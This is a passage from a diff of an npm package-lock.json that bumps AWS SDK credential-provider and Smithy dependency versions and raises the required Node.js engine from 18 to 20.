"tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/client-sso": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.927.0.tgz", - "integrity": "sha512-O+e+jo6ei7U/BA7lhT4mmPCWmeR9dFgGUHVwCwJ5c/nCaSaHQ+cb7j2h8WPXERu0LhPSFyj1aD5dk3jFIwNlbg==", + "node_modules/@aws-sdk/credential-provider-process": { + "version": "3.972.4", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.4.tgz", + "integrity": "sha512-TCZpWUnBQN1YPk6grvd5x419OfXjHvhj5Oj44GYb84dOVChpg/+2VoEj+YVA4F4E/6huQPNnX7UYbTtxJqgihw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/types": "^3.973.1", + "@smithy/property-provider": "^4.2.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso": { + "version": "3.972.4", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.4.tgz", + "integrity": "sha512-wzsGwv9mKlwJ3vHLyembBvGE/5nPUIwRR2I51B1cBV4Cb4ql9nIIfpmHzm050XYTY5fqTOKJQnhLj7zj89VG8g==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/client-sso": "3.982.0", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/token-providers": "3.982.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/property-provider": "^4.2.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@aws-sdk/nested-clients": { + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.982.0.tgz", + "integrity": "sha512-VVkaH27digrJfdVrT64rjkllvOp4oRiZuuJvrylLXAKl18ujToJR7AqpDldL/LS63RVne3QWIpkygIymxFtliQ==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.927.0", - "@aws-sdk/middleware-host-header": "3.922.0", - "@aws-sdk/middleware-logger": "3.922.0", - "@aws-sdk/middleware-recursion-detection": "3.922.0", - "@aws-sdk/middleware-user-agent": "3.927.0", - "@aws-sdk/region-config-resolver": "3.925.0", - "@aws-sdk/types": "3.922.0", - "@aws-sdk/util-endpoints": "3.922.0", - "@aws-sdk/util-user-agent-browser": "3.922.0", - "@aws-sdk/util-user-agent-node": "3.927.0", - "@smithy/config-resolver": "^4.4.2", - "@smithy/core": "^3.17.2", - "@smithy/fetch-http-handler": "^5.3.5", - "@smithy/hash-node": "^4.2.4", - "@smithy/invalid-dependency": "^4.2.4", - "@smithy/middleware-content-length": "^4.2.4", - "@smithy/middleware-endpoint": "^4.3.6", - "@smithy/middleware-retry": "^4.4.6", - "@smithy/middleware-serde": "^4.2.4", - "@smithy/middleware-stack": "^4.2.4", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/node-http-handler": "^4.4.4", - "@smithy/protocol-http": "^5.3.4", - "@smithy/smithy-client": "^4.9.2", - "@smithy/types": "^4.8.1", - "@smithy/url-parser": "^4.2.4", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.6", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.982.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.4", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.5", - "@smithy/util-defaults-mode-node": "^4.2.8", - "@smithy/util-endpoints": "^3.2.4", - "@smithy/util-middleware": "^4.2.4", - "@smithy/util-retry": "^4.2.4", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/core": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.927.0.tgz", - "integrity": "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag==", + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@aws-sdk/token-providers": { + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.982.0.tgz", + "integrity": "sha512-v3M0KYp2TVHYHNBT7jHD9lLTWAdS9CaWJ2jboRKt0WAB65bA7iUEpR+k4VqKYtpQN4+8kKSc4w+K6kUNZkHKQw==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.922.0", - "@aws-sdk/xml-builder": "3.921.0", - "@smithy/core": "^3.17.2", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/property-provider": "^4.2.4", - "@smithy/protocol-http": "^5.3.4", - "@smithy/signature-v4": "^5.3.4", - "@smithy/smithy-client": "^4.9.2", - "@smithy/types": "^4.8.1", - "@smithy/util-base64": "^4.3.0", - "@smithy/util-middleware": "^4.2.4", - "@smithy/util-utf8": "^4.2.0", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/nested-clients": "3.982.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/property-provider": "^4.2.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/credential-provider-env": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.927.0.tgz", - "integrity": "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw==", + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@aws-sdk/util-endpoints": { + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.982.0.tgz", + "integrity": "sha512-M27u8FJP7O0Of9hMWX5dipp//8iglmV9jr7R8SR8RveU+Z50/8TqH68Tu6wUWBGMfXjzbVwn1INIAO5lZrlxXQ==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/property-provider": "^4.2.4", - "@smithy/types": "^4.8.1", + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/credential-provider-http": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.927.0.tgz", - "integrity": "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/fetch-http-handler": "^5.3.5", - "@smithy/node-http-handler": "^4.4.4", - "@smithy/property-provider": "^4.2.4", - "@smithy/protocol-http": "^5.3.4", - "@smithy/smithy-client": "^4.9.2", - "@smithy/types": "^4.8.1", - "@smithy/util-stream": "^4.5.5", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/credential-provider-ini": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.927.0.tgz", - "integrity": "sha512-WvliaKYT7bNLiryl/FsZyUwRGBo/CWtboekZWvSfloAb+0SKFXWjmxt3z+Y260aoaPm/LIzEyslDHfxqR9xCJQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/credential-provider-env": "3.927.0", - "@aws-sdk/credential-provider-http": "3.927.0", - "@aws-sdk/credential-provider-process": "3.927.0", - "@aws-sdk/credential-provider-sso": "3.927.0", - "@aws-sdk/credential-provider-web-identity": "3.927.0", - "@aws-sdk/nested-clients": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/credential-provider-imds": "^4.2.4", - "@smithy/property-provider": "^4.2.4", - "@smithy/shared-ini-file-loader": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/credential-provider-process": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.927.0.tgz", - "integrity": "sha512-rvqdZIN3TRhLKssufN5G2EWLMBct3ZebOBdwr0tuOoPEdaYflyXYYUScu+Beb541CKfXaFnEOlZokq12r7EPcQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/property-provider": "^4.2.4", - "@smithy/shared-ini-file-loader": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/credential-provider-sso": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.927.0.tgz", - "integrity": "sha512-XrCuncze/kxZE6WYEWtNMGtrJvJtyhUqav4xQQ9PJcNjxCUYiIRv7Gwkt7cuwJ1HS+akQj+JiZmljAg97utfDw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/client-sso": "3.927.0", - "@aws-sdk/core": "3.927.0", - "@aws-sdk/token-providers": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/property-provider": "^4.2.4", - "@smithy/shared-ini-file-loader": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/credential-provider-web-identity": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.927.0.tgz", - "integrity": "sha512-Oh/aFYjZQsIiZ2PQEgTNvqEE/mmOYxZKZzXV86qrU3jBUfUUBvprUZc684nBqJbSKPwM5jCZtxiRYh+IrZDE7A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/nested-clients": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/property-provider": "^4.2.4", - "@smithy/shared-ini-file-loader": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/middleware-host-header": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.922.0.tgz", - "integrity": "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/middleware-logger": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.922.0.tgz", - "integrity": "sha512-AkvYO6b80FBm5/kk2E636zNNcNgjztNNUxpqVx+huyGn9ZqGTzS4kLqW2hO6CBe5APzVtPCtiQsXL24nzuOlAg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/middleware-recursion-detection": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.922.0.tgz", - "integrity": "sha512-TtSCEDonV/9R0VhVlCpxZbp/9sxQvTTRKzIf8LxW3uXpby6Wl8IxEciBJlxmSkoqxh542WRcko7NYODlvL/gDA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@aws/lambda-invoke-store": "^0.1.1", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/middleware-user-agent": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.927.0.tgz", - "integrity": "sha512-sv6St9EgEka6E7y19UMCsttFBZ8tsmz2sstgRd7LztlX3wJynpeDUhq0gtedguG1lGZY/gDf832k5dqlRLUk7g==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@aws-sdk/util-endpoints": "3.922.0", - "@smithy/core": "^3.17.2", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/nested-clients": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.927.0.tgz", - "integrity": "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.927.0", - "@aws-sdk/middleware-host-header": "3.922.0", - "@aws-sdk/middleware-logger": "3.922.0", - "@aws-sdk/middleware-recursion-detection": "3.922.0", - "@aws-sdk/middleware-user-agent": "3.927.0", - "@aws-sdk/region-config-resolver": "3.925.0", - "@aws-sdk/types": "3.922.0", - "@aws-sdk/util-endpoints": "3.922.0", - "@aws-sdk/util-user-agent-browser": "3.922.0", - "@aws-sdk/util-user-agent-node": "3.927.0", - "@smithy/config-resolver": "^4.4.2", - "@smithy/core": "^3.17.2", - "@smithy/fetch-http-handler": "^5.3.5", - "@smithy/hash-node": "^4.2.4", - "@smithy/invalid-dependency": "^4.2.4", - "@smithy/middleware-content-length": "^4.2.4", - "@smithy/middleware-endpoint": "^4.3.6", - "@smithy/middleware-retry": "^4.4.6", - "@smithy/middleware-serde": "^4.2.4", - "@smithy/middleware-stack": "^4.2.4", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/node-http-handler": "^4.4.4", - "@smithy/protocol-http": "^5.3.4", - "@smithy/smithy-client": "^4.9.2", - "@smithy/types": "^4.8.1", - "@smithy/url-parser": "^4.2.4", - "@smithy/util-base64": "^4.3.0", - "@smithy/util-body-length-browser": "^4.2.0", - "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.5", - "@smithy/util-defaults-mode-node": "^4.2.8", - "@smithy/util-endpoints": "^3.2.4", - "@smithy/util-middleware": "^4.2.4", - "@smithy/util-retry": "^4.2.4", - "@smithy/util-utf8": "^4.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/region-config-resolver": { - "version": "3.925.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.925.0.tgz", - "integrity": "sha512-FOthcdF9oDb1pfQBRCfWPZhJZT5wqpvdAS5aJzB1WDZ+6EuaAhLzLH/fW1slDunIqq1PSQGG3uSnVglVVOvPHQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/config-resolver": "^4.4.2", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/token-providers": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.927.0.tgz", - "integrity": "sha512-JRdaprkZjZ6EY4WVwsZaEjPUj9W9vqlSaFDm4oD+IbwlY4GjAXuUQK6skKcvVyoOsSTvJp/CaveSws2FiWUp9Q==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/nested-clients": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/property-provider": "^4.2.4", - "@smithy/shared-ini-file-loader": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/types": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.922.0.tgz", - "integrity": "sha512-eLA6XjVobAUAMivvM7DBL79mnHyrm+32TkXNWZua5mnxF+6kQCfblKKJvxMZLGosO53/Ex46ogim8IY5Nbqv2w==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/util-endpoints": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.922.0.tgz", - "integrity": "sha512-4ZdQCSuNMY8HMlR1YN4MRDdXuKd+uQTeKIr5/pIM+g3TjInZoj8imvXudjcrFGA63UF3t92YVTkBq88mg58RXQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "@smithy/url-parser": "^4.2.4", - "@smithy/util-endpoints": "^3.2.4", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/util-user-agent-browser": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.922.0.tgz", - "integrity": "sha512-qOJAERZ3Plj1st7M4Q5henl5FRpE30uLm6L9edZqZXGR6c7ry9jzexWamWVpQ4H4xVAVmiO9dIEBAfbq4mduOA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/util-user-agent-node": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.927.0.tgz", - "integrity": "sha512-5Ty+29jBTHg1mathEhLJavzA7A7vmhephRYGenFzo8rApLZh+c+MCAqjddSjdDzcf5FH+ydGGnIrj4iIfbZIMQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/middleware-user-agent": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "aws-crt": ">=1.0.0" - }, - "peerDependenciesMeta": { - "aws-crt": { - "optional": true - } - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@aws-sdk/xml-builder": { - "version": "3.921.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.921.0.tgz", - "integrity": "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.8.1", - "fast-xml-parser": "5.2.5", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@smithy/is-array-buffer": { + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@smithy/is-array-buffer": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.0.tgz", "integrity": "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ==", @@ -4479,7 +4175,7 @@ "node": ">=18.0.0" } }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@smithy/util-buffer-from": { + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@smithy/util-buffer-from": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.0.tgz", "integrity": "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew==", @@ -4492,7 +4188,7 @@ "node": ">=18.0.0" } }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/@smithy/util-utf8": { + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@smithy/util-utf8": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.0.tgz", "integrity": "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw==", @@ -4505,137 +4201,87 @@ "node": ">=18.0.0" } }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/fast-xml-parser": { - "version": "5.2.5", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.2.5.tgz", - "integrity": "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "strnum": "^2.1.0" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, - "node_modules/@aws-sdk/credential-provider-node/node_modules/strnum": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.1.1.tgz", - "integrity": "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, - "node_modules/@aws-sdk/credential-provider-process": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.957.0.tgz", - "integrity": "sha512-/KIz9kadwbeLy6SKvT79W81Y+hb/8LMDyeloA2zhouE28hmne+hLn0wNCQXAAupFFlYOAtZR2NTBs7HBAReJlg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@smithy/property-provider": "^4.2.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-sso": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.958.0.tgz", - "integrity": "sha512-CBYHJ5ufp8HC4q+o7IJejCUctJXWaksgpmoFpXerbjAso7/Fg7LLUu9inXVOxlHKLlvYekDXjIUBXDJS2WYdgg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/client-sso": "3.958.0", - "@aws-sdk/core": "3.957.0", - "@aws-sdk/token-providers": "3.958.0", - "@aws-sdk/types": "3.957.0", - "@smithy/property-provider": "^4.2.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, "node_modules/@aws-sdk/credential-provider-web-identity": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.958.0.tgz", - "integrity": "sha512-dgnvwjMq5Y66WozzUzxNkCFap+umHUtqMMKlr8z/vl9NYMLem/WUbWNpFFOVFWquXikc+ewtpBMR4KEDXfZ+KA==", + "version": "3.972.4", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.4.tgz", + "integrity": "sha512-hIzw2XzrG8jzsUSEatehmpkd5rWzASg5IHUfA+m01k/RtvfAML7ZJVVohuKdhAYx+wV2AThLiQJVzqn7F0khrw==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.957.0", - "@aws-sdk/nested-clients": "3.958.0", - "@aws-sdk/types": "3.957.0", - "@smithy/property-provider": "^4.2.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/nested-clients": "3.982.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/property-provider": "^4.2.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/credential-provider-web-identity/node_modules/@aws-sdk/nested-clients": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.958.0.tgz", - "integrity": "sha512-/KuCcS8b5TpQXkYOrPLYytrgxBhv81+5pChkOlhegbeHttjM69pyUpQVJqyfDM/A7wPLnDrzCAnk4zaAOkY0Nw==", + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.982.0.tgz", + "integrity": "sha512-VVkaH27digrJfdVrT64rjkllvOp4oRiZuuJvrylLXAKl18ujToJR7AqpDldL/LS63RVne3QWIpkygIymxFtliQ==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.957.0", - "@aws-sdk/middleware-host-header": "3.957.0", - "@aws-sdk/middleware-logger": "3.957.0", - "@aws-sdk/middleware-recursion-detection": "3.957.0", - "@aws-sdk/middleware-user-agent": "3.957.0", - "@aws-sdk/region-config-resolver": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@aws-sdk/util-endpoints": "3.957.0", - "@aws-sdk/util-user-agent-browser": "3.957.0", - "@aws-sdk/util-user-agent-node": "3.957.0", - "@smithy/config-resolver": "^4.4.5", - "@smithy/core": "^3.20.0", - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/hash-node": "^4.2.7", - "@smithy/invalid-dependency": "^4.2.7", - "@smithy/middleware-content-length": "^4.2.7", - "@smithy/middleware-endpoint": "^4.4.1", - "@smithy/middleware-retry": "^4.4.17", - "@smithy/middleware-serde": "^4.2.8", - "@smithy/middleware-stack": "^4.2.7", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/node-http-handler": "^4.4.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": 